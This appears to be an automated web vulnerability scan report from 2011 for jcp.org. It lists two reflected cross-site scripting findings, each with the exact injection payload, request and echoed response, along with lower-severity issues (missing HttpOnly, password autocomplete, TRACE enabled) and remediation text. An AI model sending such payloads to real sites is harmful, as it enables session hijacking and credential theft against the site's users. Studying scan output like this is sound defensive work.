XSS, www.jcp.org, Cross Site Scripting, CWE-79, CAPEC-86

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Sun Mar 06 10:07:36 CST 2011.


The DORK Report

Loading

1. Cross-site scripting (reflected)

1.1. http://jcp.org/en/home/index [REST URL parameter 3]

1.2. http://jcp.org/en/home/index [name of an arbitrarily supplied request parameter]

2. Cookie without HttpOnly flag set

3. Password field with autocomplete enabled

4. TRACE method is enabled



1. Cross-site scripting (reflected)  next
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://jcp.org/en/home/index [REST URL parameter 3]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://jcp.org
Path:   /en/home/index

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5c5a6"><script>alert(1)</script>b9f123e1bb5 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/home/index5c5a6"><script>alert(1)</script>b9f123e1bb5 HTTP/1.1
Host: jcp.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Sun-Java-System-Web-Server/7.0
Date: Sun, 06 Mar 2011 14:44:09 GMT
Content-type: text/html;charset=ISO-8859-1
Set-cookie: JSESSIONID=C208BA3692DB3C84D5B179AC25E85583; Path=/
Connection: close


<!-- ** BEGIN: header.jsp ** //-->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3c.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>
<head>



...[SNIP]...
<input name="url" value="http://jcp.org/en/home/index5c5a6"><script>alert(1)</script>b9f123e1bb5" type="hidden">
...[SNIP]...

1.2. http://jcp.org/en/home/index [name of an arbitrarily supplied request parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://jcp.org
Path:   /en/home/index

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c8273"><script>alert(1)</script>f9d6a4dbed2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/home/index?c8273"><script>alert(1)</script>f9d6a4dbed2=1 HTTP/1.1
Host: jcp.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Sun-Java-System-Web-Server/7.0
Date: Sun, 06 Mar 2011 14:43:50 GMT
Content-type: text/html;charset=ISO-8859-1
Set-cookie: JSESSIONID=86A67B39A6D0F23E8A6F682E0A933C38; Path=/
Connection: close


<!-- ** BEGIN: header.jsp ** //-->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3c.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>
<head>

...[SNIP]...
<input name="uri" value="/en/home/index?c8273"><script>alert(1)</script>f9d6a4dbed2=1" type="hidden">
...[SNIP]...

2. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://jcp.org
Path:   /en/home/index

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /en/home/index HTTP/1.1
Host: jcp.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Sun-Java-System-Web-Server/7.0
Date: Sun, 06 Mar 2011 14:43:45 GMT
Content-type: text/html;charset=ISO-8859-1
Set-cookie: JSESSIONID=992CA95DB8EF76187C52D1BF677C1055; Path=/
Connection: close


<!-- ** BEGIN: header.jsp ** //-->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3c.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>
<head>

...[SNIP]...

3. Password field with autocomplete enabled  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://jcp.org
Path:   /en/home/index

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

Request

GET /en/home/index HTTP/1.1
Host: jcp.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Sun-Java-System-Web-Server/7.0
Date: Sun, 06 Mar 2011 14:43:45 GMT
Content-type: text/html;charset=ISO-8859-1
Set-cookie: JSESSIONID=992CA95DB8EF76187C52D1BF677C1055; Path=/
Connection: close


<!-- ** BEGIN: header.jsp ** //-->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3c.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>
<head>

...[SNIP]...
<img src="/images/hd_my-jcp.gif" alt="My JCP" height="18" width="150">


<form name="login" method="post" action="https://jcp.org/en/user/login" >
    <input name="uri" value="/en/home/index" type="hidden">
...[SNIP]...
<td><input type="password" name="password" style="width:52px" class="form" value="" onkeypress="return handle_keypress(this, event)"></td>
...[SNIP]...

4. TRACE method is enabled  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://jcp.org
Path:   /

Issue description

The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.

Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.

Issue remediation

The TRACE method should be disabled on the web server.

Request

TRACE / HTTP/1.0
Host: jcp.org
Cookie: 50232d2b89edd9a1

Response

HTTP/1.1 200 OK
Server: Sun-Java-System-Web-Server/7.0
Date: Sun, 06 Mar 2011 14:43:45 GMT
Content-type: message/http
Connection: close

TRACE / HTTP/1.0
Host: jcp.org
Cookie: 50232d2b89edd9a1


Report generated by XSS.CX at Sun Mar 06 10:07:36 CST 2011.